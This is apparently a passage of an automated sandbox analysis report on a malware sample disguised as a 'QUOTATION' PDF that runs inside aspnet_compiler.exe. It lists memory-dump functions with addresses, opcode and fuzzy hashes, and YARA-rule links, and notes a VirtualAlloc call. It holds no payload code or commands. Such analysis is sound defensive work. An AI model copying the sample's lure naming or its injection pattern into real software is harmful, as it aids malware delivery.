Instruction ID: 71bc88008da33bf70890ff5a9cf83cd06bca9b6e3d60ef2d38312aba6bc50778
Opcode Fuzzy Hash: 09fdaf78a95e1a8765f6b7d12239105b42f62609068ca414b6e2fc8e23fa17ac
Instruction Fuzzy Hash: 10516B6290F7D64FEB129BB888744E97FA4FF05714F0901EBD0A84B0E3DD2875498782

Function 00007FFD9B899B5D Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30955400ed2e1bd86a894f1b353879ce5abd3898b2d561914d658d70e63dc6f4
Instruction ID: b795e49d13d31291bf03ab14cdce17aac58e9174272511a026069d70aa41f712
Opcode Fuzzy Hash: 30955400ed2e1bd86a894f1b353879ce5abd3898b2d561914d658d70e63dc6f4
Instruction Fuzzy Hash: C941F472A09A1DCFDF55EF98D8599E97BE0FF28309F440276D01CC72A2EA35A541C780

Function 00007FFD9B890F66 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c09c6e7f20ca1f0204a7621e789d12c275a7963248a26ed2c2d8ce8ef84527c1
Instruction ID: 92426f8ded430b48f917feb2b587f233c6103f0b7579c0809d561a0db9d1f0c1
Opcode Fuzzy Hash: c09c6e7f20ca1f0204a7621e789d12c275a7963248a26ed2c2d8ce8ef84527c1
Instruction Fuzzy Hash: 3C412930B1D95D4FEBA9EB6C8464BB877E2FF8D340F1541B5D44EC729ACA25AC428780

Function 00007FFD9B894358 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a9246117422ac297699323368680b9b1a9323440a3c8040f13d67c15d0a2cfc
Instruction ID: b6451d4634c44cfcc695be5b42f58d0eca54237d8a08bd5473d2c132708ff8c1
Opcode Fuzzy Hash: 6a9246117422ac297699323368680b9b1a9323440a3c8040f13d67c15d0a2cfc
Instruction Fuzzy Hash: 1D419230A08A4D8FDB85EFA8C854AADBBF1FF59304F0501AAE44DE7296DB34A941C751

Function 00007FFD9B89A8FB Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f92262e35148d762551dad3819f9397ad3fcf933adaa697f6d3644a31512124
Instruction ID: c44330da847d977941e27038418621f6a6de399efb0cd6d0f3d443a64b9013c1
Opcode Fuzzy Hash: 3f92262e35148d762551dad3819f9397ad3fcf933adaa697f6d3644a31512124
Instruction Fuzzy Hash: 15314737B0B66E9ADB55EB5CE8655F937E0FF42329B0803B3D058C6193ED2664468680

Function 00007FFD9B9D3109 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227770196.00007FFD9B9D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b9d0000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8a6feadf66457f7c567c95089a7b7b4699cce2a6f964e1b79f5989bb3f36070
Instruction ID: c527b611353221bcbfd28db6bd9c133a3647cd6fbf72d676fce2292bc65d1201
Opcode Fuzzy Hash: c8a6feadf66457f7c567c95089a7b7b4699cce2a6f964e1b79f5989bb3f36070
Instruction Fuzzy Hash: CB417270E2E50E9BEFB4DF9984557BDB7B1FF98301F514279D00DA21A1CA386A81CB90

Function 00007FFD9B8948E8 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa613147748bbbe3d9373cbaad712784c60906910a8035d8557390f51e7eaf7e
Instruction ID: 1561c3959a8f687946627d94c380e0a9b02e4237072e295212353b38fca2bd02
Opcode Fuzzy Hash: fa613147748bbbe3d9373cbaad712784c60906910a8035d8557390f51e7eaf7e
Instruction Fuzzy Hash: CC313831B0D56E4BDB29EBA8B8615FE7BA0DF46325F0802BBC04CD61A3DD2465468391

Function 00007FFD9B894940 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20b37a72208edfb918a4c88e3cca1c2309b541c3bdef6d5b883a646fac9f2ce7
Instruction ID: 73264a1654b77d22d76cb953aa51243198c0be9736a064674c7a2ffd45bfe68b
Opcode Fuzzy Hash: 20b37a72208edfb918a4c88e3cca1c2309b541c3bdef6d5b883a646fac9f2ce7
Instruction Fuzzy Hash: 8031E831B0995E8FDB59EFA8D4606FE7BB1EF89300F1401BAD05DE7196CA346A41C790

Function 00007FFD9B8908B5 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c2a3a04b67ffc7fa7f7c672b8822120f0ebbc682316566548cb23b5576d1d1c
Instruction ID: bbca3511105eb94dbb58bb0cc32d006b9a5e06583012368484431e6599cc4daf
Opcode Fuzzy Hash: 8c2a3a04b67ffc7fa7f7c672b8822120f0ebbc682316566548cb23b5576d1d1c
Instruction Fuzzy Hash: 3231AF71A19A4D8FDB99EB6CC4646A87BF0FF59300F0500EAE08DD72A2DA34A9458B40

Function 00007FFD9B89AE75 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9db7e065f5cafa7faa71f535c08fefde3099c6c3699850dec44a12c294d22535
Instruction ID: de4764036cf4cf468d1ed404b4050623f6f84e40710b5b68fa6dccaa1b9de296
Opcode Fuzzy Hash: 9db7e065f5cafa7faa71f535c08fefde3099c6c3699850dec44a12c294d22535
Instruction Fuzzy Hash: 4A31D43260965D8FC706EF6CE8A69E97BB0EF46319B0802E3E049C71A3DA24A545C781

Function 00007FFD9B9D332F Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227770196.00007FFD9B9D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b9d0000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9e2c2539c254273f81356dfa2a8e67296c8c796baba76301cac80b8f6a74004
Instruction ID: f878c30eee2c84dba4f823e7b224aaac4a38455af0b143d41d2a4f50fe3d94a3
Opcode Fuzzy Hash: d9e2c2539c254273f81356dfa2a8e67296c8c796baba76301cac80b8f6a74004
Instruction Fuzzy Hash: FD315E70E1991E9FEFA4DF98C8956ADBBB1FF98301F50417AD40CE3261DB3469818B90

Function 00007FFD9B890B1C Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d371da06001b9509cbbb9b6c8cd30f38ebaa172c2fc31783b9977c7cddd4a86
Instruction ID: 5d0008979be860749b89696ed5025b1b13d87c7530337763a7ce9bf4f3c6ca74
Opcode Fuzzy Hash: 5d371da06001b9509cbbb9b6c8cd30f38ebaa172c2fc31783b9977c7cddd4a86
Instruction Fuzzy Hash: C721F635A0868E8FDF54EF68C8545EB7BB2FF99300F00417AE818C7295DA35A941C781

Function 00007FFD9B899BD5 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0de417044c01fc652340d712f26810ca06172913fc547b73e30da03867d4c487
Instruction ID: 5f44e0befc7d8d2097abc52a98eb77acd6f04c2ea9c9df6f16fe51c470ae6b23
Opcode Fuzzy Hash: 0de417044c01fc652340d712f26810ca06172913fc547b73e30da03867d4c487
Instruction Fuzzy Hash: 29218B32A0961DCFDF15EF9CD8695E93BA0FF18319F4402B6D01CC7192EE29A242C781

Function 00007FFD9B890B49 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce217c21353faadcddab8869c2a60cdafc81e6700103573fbf2a5716a0ee278d
Instruction ID: 78fe69472a48d3d5e7adc3619fba0a00e699cd6c049a9f4532d8346bda5bd769
Opcode Fuzzy Hash: ce217c21353faadcddab8869c2a60cdafc81e6700103573fbf2a5716a0ee278d
Instruction Fuzzy Hash: DD212830A0968E8FDF85DF64C8556E77FF2FF99300F1441AAE819C7295CA34A942C780

Function 00007FFD9B89A97D Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed3d21b2305b8a34600f3de3744ea7c20bff733ea3a3f7ace2c665d8bedf002
Instruction ID: ff3bee7c7806f2d14fbb79c50792099e5a83359799a61c9f721c5e66e67c4775
Opcode Fuzzy Hash: bed3d21b2305b8a34600f3de3744ea7c20bff733ea3a3f7ace2c665d8bedf002
Instruction Fuzzy Hash: E7210371A0A61DDFDB55EF98C8A59ED37F0FF14308B0402A2D428DB1A2FE35A651CB90

Function 00007FFD9B890A71 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f6eca506653fb0cb03b50459f4c9dddf24dcf7af139ced579ace8d3d371ddef
Instruction ID: 053604ca5a8713fa85b5fc7b5f5cd339bbb9af1b3af5be6b18c31ad2c34cc87a
Opcode Fuzzy Hash: 3f6eca506653fb0cb03b50459f4c9dddf24dcf7af139ced579ace8d3d371ddef
Instruction Fuzzy Hash: 62210422F2E95E8EFFB497A858312F97AD2EF4C719F0601B6D45CC30E2DD186B194681

Function 00007FFD9B894930 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f325923b076ee86bcf1a214a21d2f9cbbef27492134b4c99f8014f84b8b8c07
Instruction ID: 4a9895a8e33733c801d6e706f98f574406ebda4bc40ec3ac7c94437ab748728d
Opcode Fuzzy Hash: 0f325923b076ee86bcf1a214a21d2f9cbbef27492134b4c99f8014f84b8b8c07
Instruction Fuzzy Hash: EA210731B0D95F4EEF69EBA8A4606FE7BB0EF4A314F05017AC04CD71A6CE2465418790

Function 00007FFD9B9D3545 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227770196.00007FFD9B9D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b9d0000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef07ab1c7ba21fd66b19e96dcad33c0d10e6a9a033b8e8d888a7b4bceadb8619
Instruction ID: 063b6beec075774b685731fb3989c5e57508b4f5a8a7cfb98d5177e3ff17a2a3
Opcode Fuzzy Hash: ef07ab1c7ba21fd66b19e96dcad33c0d10e6a9a033b8e8d888a7b4bceadb8619
Instruction Fuzzy Hash: 19215E70E19A1E9FEFA0DF9888957E977B1FFA8301F504176D44CE3260CA346A818B90

Function 00007FFD9B890DCE Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09c6ab5fa460dd30cfd016b6b7cb081e9960bc1568f2414de306ceb5f519d74a
Instruction ID: 4783bf9c4e0f5d5136f9bc1e5d3beb2ceeecd75854580d4a940422c7ba756b23
Opcode Fuzzy Hash: 09c6ab5fa460dd30cfd016b6b7cb081e9960bc1568f2414de306ceb5f519d74a
Instruction Fuzzy Hash: 6C01D472B0C9194FAB48BA9CB8169FC73D1EB99321B10017AE01ED31DBED19680343C1

Function 00007FFD9B89A0F5 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ac00019254bbc8ded96f8a3a22b77f88df7cbdf364d5f498b456da4ab8b6328
Instruction ID: bf3b922eb4dc3cc49bc3b9d4559b952e0b45b1e5cfbfa1b140758d11ca11feae
Opcode Fuzzy Hash: 2ac00019254bbc8ded96f8a3a22b77f88df7cbdf364d5f498b456da4ab8b6328
Instruction Fuzzy Hash: 58114970A09A4D8FDB85EF68D869AE97BF0FF58305F040667E41DC31A1DA34A584CB81

Function 00007FFD9B9D3C0B Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227770196.00007FFD9B9D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b9d0000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 850dd3c3567b6a5160cae706aa67268b863e4939e7192873eb15bb8549dc1d9e
Instruction ID: 479d4528f56eca080ada7ccdfd1bd33930e476b79bf027293afbac632ca467f7
Opcode Fuzzy Hash: 850dd3c3567b6a5160cae706aa67268b863e4939e7192873eb15bb8549dc1d9e
Instruction Fuzzy Hash: A8216430A15A1DCFDB64EFA8C4A56ACB7B2FF59301F51057DE409A32A1CB756D42CB40

Function 00007FFD9B89A1BD Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05b085738c64efec05c55e6058a6ec64b0edf66c97d3eefe735c48f88d1287cd
Instruction ID: 7a78634eb7d9d8e571500b5e0e3c88aa7bd6a5d2b71b399b2b9063c51fcb069e
Opcode Fuzzy Hash: 05b085738c64efec05c55e6058a6ec64b0edf66c97d3eefe735c48f88d1287cd
Instruction Fuzzy Hash: 91118B30A19A4D8FDF45EF68C859AE97BE0FF58305F0002A7E41DC31A2CB30A584CB80

Function 00007FFD9B9D3650 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227770196.00007FFD9B9D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b9d0000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffc9648b7c47521676760cad71aa2df57336d876f87dfbee65485513eeec983e
Instruction ID: 81bb68712a6099b93e1939df88bfd699acec2f37b03d72bb981b116d032e8785
Opcode Fuzzy Hash: ffc9648b7c47521676760cad71aa2df57336d876f87dfbee65485513eeec983e
Instruction Fuzzy Hash: 39215170E1991D9FEFA4DF98C8957A977B1FF58301F504179D40CA3260CB346A81CB90

Function 00007FFD9B89F1B4 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93117c2fe3f2756d3ed326610dce733242809349ea8c2e5bbece757186ec4c1e
Instruction ID: a2208759967fdeb13f3975d5900c4913c81e801c6de0fe6a59e50dbee2105a5b
Opcode Fuzzy Hash: 93117c2fe3f2756d3ed326610dce733242809349ea8c2e5bbece757186ec4c1e
Instruction Fuzzy Hash: 2E21F3B0E4A12E8AEB74EB54C9587E9B7B1EB98301F0142E9D04DA2291CB795B848F00

Function 00007FFD9B89B4C0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b1c4df3a0838844e2d9b86f81578aad5a4cafac600f6e51c2be14985fdc9244
Instruction ID: 72a1b2a166de424573d97378ccda4d6a4dd0dc9a4b1f8b34f9a46a5cc55c137c
Opcode Fuzzy Hash: 9b1c4df3a0838844e2d9b86f81578aad5a4cafac600f6e51c2be14985fdc9244
Instruction Fuzzy Hash: 25010930918A1D8FDF94EF68C859AEA77F0FF68305F00066AE41DD32A1DB34A550CB81

Function 00007FFD9B9D3B9C Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227770196.00007FFD9B9D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b9d0000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dcfccd5568c38dd580cb6a105d5075f3a496443e7e6173fc81a39ad1eb12531
Instruction ID: b628e37243640a34c3f36d979fb0a4d40e872afc5eb463bc49aea9d7f7817dec
Opcode Fuzzy Hash: 5dcfccd5568c38dd580cb6a105d5075f3a496443e7e6173fc81a39ad1eb12531
Instruction Fuzzy Hash: E011E330A1660ECFDB68DF94C0A1AED7BB2EF59341F51013DE409A62A1CB796D81CB90

Function 00007FFD9B9D314D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227770196.00007FFD9B9D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b9d0000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66e6aa55c323539b05829450e72603e78d2f590cc36c70d0634593c02d296c2c
Instruction ID: 063d7fcfdac90dfcee520fd80d3e73e604758cd1734c8b9445a68aa31e7bc4a3
Opcode Fuzzy Hash: 66e6aa55c323539b05829450e72603e78d2f590cc36c70d0634593c02d296c2c
Instruction Fuzzy Hash: 0B011E70E1951E9FEFA4DF98C8957AD77B1FF98301F51417AD00CA21A0CB386A81CB90

Function 00007FFD9B894155 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11c331a92d9c81750ab0231de1371b7fcf7d3f05df350ee6fd397db8008630aa
Instruction ID: f4a5b33d154dc6fb1c08c9dd6d5458e452b7535c3372676cd60eb745f471906b
Opcode Fuzzy Hash: 11c331a92d9c81750ab0231de1371b7fcf7d3f05df350ee6fd397db8008630aa
Instruction Fuzzy Hash: ACF05430A05A0D9FEFA1EF98D4596EE7BE0FF5C305F110536E41CC21A0DA346290C781

Function 00007FFD9B894178 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48c30a7a34d05c06bdbb22facbc66076e90c8bba7d18cd034b2c780ec2116151
Instruction ID: 08e2b8c1305b7b797fd9217e6042df317e9fe83ee3e7f4cf04592b642337fc6d
Opcode Fuzzy Hash: 48c30a7a34d05c06bdbb22facbc66076e90c8bba7d18cd034b2c780ec2116151
Instruction Fuzzy Hash: 37F01C30915A4D9FEB94EFA8C8596EA7BE0FF18305F414566E81CC21A4DA34A6A0CB81

Function 00007FFD9B890A4E Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c90ea6c2e3bc502247eb2fc706a0914dba82aa9f81dcb70a2631d745fee2a3c
Instruction ID: 9678c317b4527fa0b677fbf67692b3667dbd81e7b0519c08ea1c2f82cf53ff91
Opcode Fuzzy Hash: 4c90ea6c2e3bc502247eb2fc706a0914dba82aa9f81dcb70a2631d745fee2a3c
Instruction Fuzzy Hash: 4EC08053B5D50D57DF54564874714ED1BD2D7F86F4FC8013EF05D811A5EC1557820341

Function 00007FFD9B890C04 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 209474151dabefd1f8caa4d3ed0116c677b17f14858fa9bcac594f20a74c4598
Instruction ID: 5319c33d55666e04e2986f6595778b804528ec4e2f4654ac97b52d34bce8ea66
Opcode Fuzzy Hash: 209474151dabefd1f8caa4d3ed0116c677b17f14858fa9bcac594f20a74c4598
Instruction Fuzzy Hash: F2A01237B4101DC08F2041C474000FDB310D784225B510033C23D810004511212401C0

Non-executed Functions

Function 00007FFD9B8951D3 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e81045d8455119dd73bb0e8ca94130185b0a626a971abadde86a6302c3a2c441
Instruction ID: 2f120f7b3b5349bd2dbbcc2ea16cfff934dcf668e6bd67ff717dbfd0638e49e6
Opcode Fuzzy Hash: e81045d8455119dd73bb0e8ca94130185b0a626a971abadde86a6302c3a2c441
Instruction Fuzzy Hash: 58316D57B0A83E06831E75BEBD595FDB700CEC223770487F7C29ACA09B5C06488B56E5

Analysis Process: aspnet_compiler.exePID: 7792, Parent PID: 7268COMMON

Execution Graph

Execution Coverage:	20.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	60
Total number of Limit Nodes:	2

Executed Functions

Function 000001904EEE279C Relevance: 1.6, APIs: 1, Instructions: 382
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001904EEE280F

Memory Dump Source

Source File: 00000004.00000002.2959415202.000001904EEC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001904EEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1904eec0000_aspnet_compiler.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8a2170de53a62e15b06d68cedc8902e765ed4ca48a6a709c27748450887b43b9
Instruction ID: dd1cb5c940b63808c13d6d0cbf18f1b0d2f06817f805f8b820ebfca73b92982b
Opcode Fuzzy Hash: 8a2170de53a62e15b06d68cedc8902e765ed4ca48a6a709c27748450887b43b9
Instruction Fuzzy Hash: C2C16430618909CFEB6AEE2E84A57E9B3D1FB9C300F140679D54AC7286DB25FD42C781

Function 00007FFD9B9699B0 Relevance: .3, Instructions: 297
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78697bcb2263ef1f3d95e97516ff91fc15a00b7feb0a842865663b659fa09c69
Instruction ID: be41faab51970b12f8852b4a8a61ce2cf144a9daf3c1c35cbfc06a3e9e2a73f8
Opcode Fuzzy Hash: 78697bcb2263ef1f3d95e97516ff91fc15a00b7feb0a842865663b659fa09c69
Instruction Fuzzy Hash: 37B1F77091961D9FDB94EBA8C859BEDBBF0EF19301F1141B9D00DE7262DA389981CB10

Function 00007FFD9B969E4D Relevance: .3, Instructions: 273
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c93103c6b8ecd11b08abb79d5656497f67f9590088ea0131c60f6c59f5d35f6
